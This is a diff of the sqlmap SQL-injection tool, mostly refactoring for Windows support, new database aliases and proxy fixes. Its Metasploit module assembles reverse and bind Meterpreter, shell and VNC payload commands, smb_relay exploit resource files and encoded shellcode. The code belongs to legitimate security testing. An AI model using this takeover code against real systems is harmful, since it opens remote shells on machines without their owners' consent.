@@ -326,12 +355,13 @@ def __setMetasploit():
envPaths = os.environ["PATH"] envPaths = os.environ["PATH"]
if "win" in PLATFORM: if IS_WIN is True:
envPaths = envPaths.split(";") envPaths = envPaths.split(";")
else: else:
envPaths = envPaths.split(":") envPaths = envPaths.split(":")
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "")
condition = os.path.exists(os.path.normpath(envPath)) condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath)) condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath)) condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
@@ -433,8 +463,10 @@ def __setDBMS():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.dbms = conf.dbms.lower() conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp: if dbmsRegExp:
@@ -465,8 +497,6 @@ def __setHTTPProxy():
if not conf.proxy: if not conf.proxy:
return return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests" debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -488,8 +518,8 @@ def __setHTTPProxy():
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2 # can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
# standard library # urllib2 standard library
if conf.scheme == "https": if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString) proxyHandler = ProxyHTTPSHandler(__proxyString)
else: else:
@@ -517,8 +547,6 @@ def __setHTTPAuthentication():
errMsg += "but did not provide the type" errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
parseTargetUrl()
debugMsg = "setting the HTTP Authentication type and credentials" debugMsg = "setting the HTTP Authentication type and credentials"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -571,6 +599,9 @@ def __setHTTPMethod():
def __setHTTPExtraHeaders(): def __setHTTPExtraHeaders():
if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname))
if conf.headers: if conf.headers:
debugMsg = "setting extra HTTP headers" debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -597,6 +628,13 @@ def __defaultHTTPUserAgent():
return "%s (%s)" % (VERSION_STRING, SITE) return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent(): def __setHTTPUserAgent():
""" """
@@ -926,7 +964,12 @@ def __mergeOptions(inputOptions):
if inputOptions.configFile: if inputOptions.configFile:
configFileParser(inputOptions.configFile) configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items(): if hasattr(inputOptions, "items"):
inputOptionsItems = inputOptions.items()
else:
inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems:
if not conf.has_key(key) or conf[key] == None or value != None: if not conf.has_key(key) or conf[key] == None or value != None:
conf[key] = value conf[key] = value
@@ -943,6 +986,9 @@ def init(inputOptions=advancedDict()):
__setConfAttributes() __setConfAttributes()
__setKnowledgeBaseAttributes() __setKnowledgeBaseAttributes()
__cleanupOptions() __cleanupOptions()
parseTargetUrl()
__setHTTPTimeout() __setHTTPTimeout()
__setHTTPCookies() __setHTTPCookies()
__setHTTPReferer() __setHTTPReferer()

View File

@@ -32,6 +32,7 @@ boolean and _outputfile variable used in genutils.
import sys import sys
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
@@ -49,7 +50,7 @@ except ImportError:
except ImportError: except ImportError:
haveReadline = False haveReadline = False
if 'win' in PLATFORM and haveReadline: if IS_WIN is True and haveReadline:
try: try:
_outputfile=_rl.GetOutputFile() _outputfile=_rl.GetOutputFile()
except AttributeError: except AttributeError:

View File

@@ -34,6 +34,8 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
def setString(): def setString():
@@ -133,8 +135,10 @@ def setDbms(dbms):
if condition: if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp: if dbmsRegExp:
@@ -368,20 +372,23 @@ def resumeConfKb(expression, url, value):
logger.info(logMsg) logger.info(logMsg)
elif expression == "DBMS" and url == conf.url: elif expression == "DBMS" and url == conf.url:
dbms = value[:-1] dbms = value[:-1]
dbms = dbms.lower()
dbmsVersion = None
logMsg = "resuming back-end DBMS '%s' " % dbms logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file" logMsg += "from session file"
logger.info(logMsg) logger.info(logMsg)
dbms = dbms.lower() firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp: if dbmsRegExp:
dbms = dbmsRegExp.group(1) dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [ dbmsRegExp.group(2) ] dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms: if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms message = "you provided '%s' as back-end DBMS, " % conf.dbms
@@ -392,9 +399,11 @@ def resumeConfKb(expression, url, value):
test = readInput(message, default="N") test = readInput(message, default="N")
if not test or test[0] in ("n", "N"): if not test or test[0] in ("n", "N"):
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
else: else:
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
elif expression == "OS" and url == conf.url: elif expression == "OS" and url == conf.url:
os = value[:-1] os = value[:-1]

View File

@@ -25,12 +25,12 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import logging import logging
import os import subprocess
import sys import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.7rc1" VERSION = "0.7"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
@@ -47,6 +47,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN) LOGGER.setLevel(logging.WARN)
# System variables # System variables
IS_WIN = subprocess.mswindows
PLATFORM = sys.platform.lower() PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0] PYVERSION = sys.version.split()[0]

View File

@@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
matches = [] matches = []
n = len(text) n = len(text)
for list in [ self.namespace ]: for ns in [ self.namespace ]:
for word in list: for word in ns:
if word[:n] == text: if word[:n] == text:
matches.append(word) matches.append(word)

View File

@@ -24,17 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import fcntl
import errno import errno
import os import os
import sys import sys
import time import time
from lib.core.settings import IS_WIN
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl if IS_WIN is not True:
else: import fcntl
import FCNTL
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
@@ -84,6 +88,7 @@ def setNonBlocking(fd):
Make a file descriptor non-blocking Make a file descriptor non-blocking
""" """
flags = fcntl.fcntl(fd, FCNTL.F_GETFL) if IS_WIN is not True:
flags = flags | os.O_NONBLOCK flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
fcntl.fcntl(fd, FCNTL.F_SETFL, flags) flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import re
import time import time
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException

View File

@@ -109,12 +109,15 @@ def __updateMSSQLXML():
servicePack = servicePack[:servicePack.index("-")] servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack: if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")] servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ") servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ") servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0") servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0") servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "") servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "") servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "): if servicePack.endswith(" "):
@@ -205,7 +208,7 @@ def __createFile(pathname, data):
fileFP.close() fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion): def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file # Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile): if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile) sqlmapZipFile = zipfile.ZipFile(zipFile)
@@ -285,13 +288,13 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir() tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion) zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString) __createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion) __extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it # For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission # to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the # TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end # sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release # Just for development release
if '.svn' in root: if '.svn' in root:
continue continue

View File

@@ -245,7 +245,7 @@ def cmdLineParser():
enumeration.add_option("--dump", dest="dumpTable", action="store_true", enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries " help="Dump DBMS database table entries "
"(req -T, opt -D, -C, --start, --stop)") "(req -T, opt -D, -C)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries") help="Dump all DBMS databases tables entries")
@@ -268,10 +268,10 @@ def cmdLineParser():
"enumerating tables") "enumerating tables")
enumeration.add_option("--start", dest="limitStart", type="int", enumeration.add_option("--start", dest="limitStart", type="int",
help="First table entry to dump") help="First query output entry to retrieve")
enumeration.add_option("--stop", dest="limitStop", type="int", enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last table entry to dump") help="Last query output entry to retrieve")
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed") help="SQL statement to be executed")

View File

@@ -29,7 +29,6 @@ import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):

View File

@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from xml.sax import parse from xml.sax import parse
from lib.core.common import checkFile from lib.core.common import checkFile

View File

@@ -24,11 +24,11 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -73,8 +73,11 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path # Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled. # is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I) absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
for absFilePath in absFilePaths: for absFilePathRegExp in absFilePathsRegExp:
if absFilePath not in kb.absFilePaths: absFilePaths = re.findall(absFilePathRegExp, page, re.I)
kb.absFilePaths.add(absFilePath)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath))

View File

@@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.convert import md5hash
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.session import setMatchRatio from lib.core.session import setMatchRatio

View File

@@ -92,12 +92,15 @@ class Connect:
url = "%s?%s" % (url, params) url = "%s?%s" % (url, params)
requestMsg += "?%s" % params requestMsg += "?%s" % params
elif multipart: if post:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) post = urlencode(post).replace("%%", "%")
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page
else: else:
if conf.parameters.has_key("GET") and not get: if conf.parameters.has_key("GET") and not get:
@@ -160,9 +163,9 @@ class Connect:
logger.log(9, requestMsg) logger.log(9, requestMsg)
# Get HTTP response # Get HTTP response
page = conn.read() page = conn.read()
code = conn.code code = conn.code
status = conn.msg status = conn.msg
responseHeaders = conn.info() responseHeaders = conn.info()
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
@@ -210,7 +213,7 @@ class Connect:
time.sleep(1) time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart) return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
else: else:
raise sqlmapConnectionException, warnMsg raise sqlmapConnectionException, warnMsg

View File

@@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger

View File

@@ -29,6 +29,12 @@ import socket
import urllib import urllib
import urllib2 import urllib2
from lib.core.settings import PYVERSION
if PYVERSION >= "2.6":
import ssl
class ProxyHTTPConnection(httplib.HTTPConnection): class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443} _ports = {"http" : 80, "https" : 443}
@@ -57,7 +63,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
self._real_host = host self._real_host = host
self._real_port = int(port) self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers) httplib.HTTPConnection.request(self, method, rest, body, headers)
def connect(self): def connect(self):
@@ -89,7 +95,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
class ProxyHTTPSConnection(ProxyHTTPConnection): class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443 default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None): def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
ProxyHTTPConnection.__init__(self, host, port) ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file self.key_file = key_file
self.cert_file = cert_file self.cert_file = cert_file
@@ -98,8 +104,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
ProxyHTTPConnection.connect(self) ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware # Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file) if PYVERSION >= "2.6":
self.sock = httplib.FakeSocket(self.sock, ssl) sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
self.sock = sslobj
else:
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj)
class ProxyHTTPHandler(urllib2.HTTPHandler): class ProxyHTTPHandler(urllib2.HTTPHandler):

View File

@@ -29,6 +29,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell from lib.takeover.xp_cmdshell import xp_cmdshell

View File

@@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.session import setDEP from lib.core.session import setDEP

View File

@@ -62,6 +62,7 @@ class Metasploit:
def __initVars(self): def __initVars(self):
self.connectionStr = None self.connectionStr = None
self.lhostStr = None
self.rhostStr = None self.rhostStr = None
self.portStr = None self.portStr = None
self.payloadStr = None self.payloadStr = None
@@ -79,9 +80,11 @@ class Metasploit:
self.__msfPayloadsList = { self.__msfPayloadsList = {
"windows": { "windows": {
1: ( "Meterpreter (default)", "windows/meterpreter" ), 1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
2: ( "Shell", "windows/shell" ), 2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
3: ( "VNC", "windows/vncinject" ), 3: ( "Shell", "windows/shell" ),
4: ( "Reflective VNC", "windows/vncinject" ),
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
}, },
"linux": { "linux": {
1: ( "Shell", "linux/x86/shell" ), 1: ( "Shell", "linux/x86/shell" ),
@@ -134,20 +137,20 @@ class Metasploit:
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows": if kb.os == "Windows":
os = "windows" opSys = "windows"
else: else:
os = "linux" opSys = "linux"
message = "which %s do you want to use?" % msg message = "which %s do you want to use?" % msg
if lst: if lst:
for num, data in lst[os].items(): for num, data in lst[opSys].items():
description = data[0] description = data[0]
if num > maxValue: if num > maxValue:
maxValue = num maxValue = num
if "default" in description: if "(default)" in description:
default = num default = num
message += "\n[%d] %s" % (num, description) message += "\n[%d] %s" % (num, description)
@@ -173,7 +176,7 @@ class Metasploit:
choice = int(choice) choice = int(choice)
if lst: if lst:
choice = lst[os][choice][1] choice = lst[opSys][choice][1]
return choice return choice
@@ -229,7 +232,7 @@ class Metasploit:
if choose == True: if choose == True:
message = "what do you want to do?\n" message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n" message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n" message += "[2] Fall back to reflective Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload" message += "[3] Fall back to Shell payload"
while True: while True:
@@ -298,12 +301,30 @@ class Metasploit:
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self): def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList) return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True): def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection() self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost() self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort() self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco) self.payloadStr = self.__selectPayload(askChurrasco)
@@ -323,7 +344,7 @@ class Metasploit:
self.__cliCmd += " RHOST=%s" % self.rhostStr self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.localIP self.__cliCmd += " LHOST=%s" % self.lhostStr
else: else:
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
@@ -336,10 +357,12 @@ class Metasploit:
def __forgeMsfConsoleResource(self): def __forgeMsfConsoleResource(self):
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False) self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n" self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.localIP self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set LPORT %s\n" % self.portStr self.__resource += "set LPORT %s\n" % self.portStr
@@ -348,43 +371,48 @@ class Metasploit:
self.__resource += "set RHOST %s\n" % self.rhostStr self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.localIP self.__resource += "set LHOST %s\n" % self.lhostStr
else: else:
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n" self.__resource += "exploit\n"
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile) self.resourceFp = open(self.resourceFile, "w")
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource) self.resourceFp.write(self.__resource)
self.resourceFp.close() self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None): def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = self.__msfPayload self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr) self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"): if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.localIP self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"): elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows": if kb.os == "Windows":
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output) self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None: if extra is not None:
self.__payloadCmd += " %s" % extra self.__payloadCmd += " %s" % extra
# NOTE: payload stager for Linux can only be encoded if the
# Metasploit working copy has been updated after May 11, 2009
# (http://trac.metasploit.com/changeset/6543)
#
# TODO: remember to update this code as soon as Metasploit
# Framework 3.3 is out officially and update the user's manual to
# notify that sqlmap depends upon Metasploit Framework 3.3
else: else:
self.__payloadCmd += " X" self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc="process"): def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc) self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line " infoMsg = "running Metasploit Framework 3 command line "
@@ -392,7 +420,6 @@ class Metasploit:
logger.info(infoMsg) logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd) logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
@@ -401,7 +428,6 @@ class Metasploit:
logger.info(infoMsg) logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd) logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
@@ -496,7 +522,7 @@ class Metasploit:
metSess = re.search("Meterpreter session ([\d]+) opened", out) metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess and self.payloadStr == "windows/meterpreter": if metSess:
self.__loadMetExtensions(proc, metSess.group(1)) self.__loadMetExtensions(proc, metSess.group(1))
except EOFError: except EOFError:
@@ -511,16 +537,15 @@ class Metasploit:
logger.info(infoMsg) logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
self.shellcodeChar = ""
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb") self.shellcodeChar = ""
self.__initVars() self.__initVars()
self.__prepareIngredients(askChurrasco=False) self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"") self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
logger.debug("executing local command: %s" % self.__payloadCmd) logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process) pollProcess(process)
@@ -531,19 +556,18 @@ class Metasploit:
else: else:
